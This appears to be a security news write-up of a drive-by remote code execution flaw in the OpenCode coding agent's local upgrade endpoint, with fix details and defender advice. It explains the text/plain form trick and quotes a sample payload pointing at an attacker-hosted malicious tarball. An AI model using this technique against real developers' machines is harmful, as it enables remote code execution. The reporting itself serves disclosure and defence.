A Content-Type Confusion Turned OpenCode’s Upgrade Endpoint Into Drive-By RCE

OpenCode is an open-source AI coding agent that launched in June 2025 and, by its own account, has since grown past 200,000 GitHub stars and 16 million monthly users. On September 24, Datadog Security Labs published GHSA-632h-h47v-g4x4, a remote code execution chain in OpenCode’s local web interface that a malicious webpage can trigger with no clicks beyond the visit itself. The fixed release is 1.18.22; versions 1.14.30 through 1.18.21 installed via npm, pnpm, or Bun are affected. Notably, there is no CVE: maintainer Anomaly declined to request one, arguing that CVEs on GitHub advisories incentivize high-volume, low-quality reports.

The chain has two links, and neither is exotic. The POST /global/upgrade endpoint interpolates its target parameter into a package-manager install command — npm install -g opencode-ai@<target> — and npm accepts remote tarball URLs as install targets, so a target pointing at an attacker-hosted tarball with a preinstall script is arbitrary command execution. The second link is what makes it reachable from a browser: the handler reads the raw body and parses it as JSON without checking the Content-Type header, so a cross-origin HTML form submitted as text/plain can smuggle a valid JSON body past the same-origin policy’s preflight rules.

The form trick is the whole story

A standard form submission sends application/x-www-form-urlencoded, which the endpoint rejects with a 400 — and HTML forms cannot send application/json at all. But text/plain is a permitted form encoding, browsers do not escape or URL-encode text/plain field names and values, and the server never verifies the content type. Datadog’s researchers therefore shaped a field name and value that, joined by the = the browser inserts between them, assemble into {“target”:“http://attacker/opencode-malicious.tgz”,…}. Because text/plain POSTs are CORS “simple requests” sent as top-level navigations, no preflight OPTIONS call warns the victim or gives the server a chance to refuse — the request simply arrives, parses, and upgrades the developer’s tooling from an attacker’s tarball.

Datadog verified the full chain against OpenCode 1.18.21: visiting the page ran the tarball’s preinstall script on the victim’s machine. The vulnerable code path dates to April 2026, and the advisory’s own telemetry is sobering — the 82 vulnerable versions drew more than 647,000 npm downloads in the single week of September 17–23, roughly 39% of all OpenCode downloads that week. Download counts are not victim counts, but the install base running opencode serve or opencode web is large enough that drive-by exposure cannot be assumed away.

Authentication helps less than you would hope

The web interface ships with no authentication unless OPENCODE_SERVER_PASSWORD is set — the CLI itself prints “server is unsecured” when it is missing. Enabling the password is still worth doing, but Datadog notes the caveat that browsers cache HTTP basic-auth credentials for the life of the browser process. A developer who authenticated recently and then browses to a malicious page may send the upgrade request with cached credentials attached, satisfying the very gate meant to stop it. Password protection on a loopback listener is a speed bump against exactly the attacker this chain assumes: one who can already get the victim’s browser to issue requests.

The fix draws two lines, and both were needed

Anomaly’s patch (PR #44686, merged August 24) addresses each link independently. The target field now validates as a strict semantic version, so tarball URLs are rejected before any package manager is invoked. Separately, the endpoint moved from a raw-body handler to a content-type-aware one, so a text/plain body is refused with 415 Unsupported Media Type instead of being parsed as JSON. Either change alone breaks this particular chain; together they close the underlying injection and the confusion that exposed it. Datadog reported the flaw on August 11 and held publication for a month at Anomaly’s request to widen the patching window.

What defenders should do now

  • Upgrade to OpenCode 1.18.22 or later. Check the running binary, not just the manifest — and confirm how it was installed with ls -l “$(command -v opencode)”. Only npm, pnpm, and Bun installs take the vulnerable code path.
  • Set OPENCODE_SERVER_PASSWORD if you expose serve or web beyond loopback. Treat it as one layer, not the fix: cached browser credentials can satisfy it during a drive-by.
  • Keep the listener on loopback. The exploit is a cross-origin request to 127.0.0.1:4096 from any malicious page; anything that widens that listener’s reach widens the attacker population from “pages you visit” to “hosts that can reach you.”
  • Hunt for upgrade artifacts on developer machines. Unexpected opencode-ai reinstalls, unfamiliar global packages, preinstall executions, and outbound connections from the package manager to unknown hosts around browsing sessions are the traces that matter.
  • Do not wait for a CVE to trigger your process. Anomaly explicitly will not mint one for this class of advisory. If your triage pipeline keys off CVE identifiers, GHSA-632h-h47v-g4x4 is the test case that proves the gap — ingest GitHub advisories for the AI tooling your developers actually run.

This is the third item this month in a grim coding-agent pattern. Plugin4Shell broke plugin integrity checks for zero-click RCE across four mainstream agents, and the Cua and AutoAgent control servers exposed unauthenticated command execution on the network. OpenCode adds the browser as the delivery mechanism: the developer does not need to install anything malicious, approve anything, or even leave the page. Local-first agent tooling that binds a privileged HTTP listener is remote attack surface the moment a browser exists on the same machine — architect it accordingly.

Sources: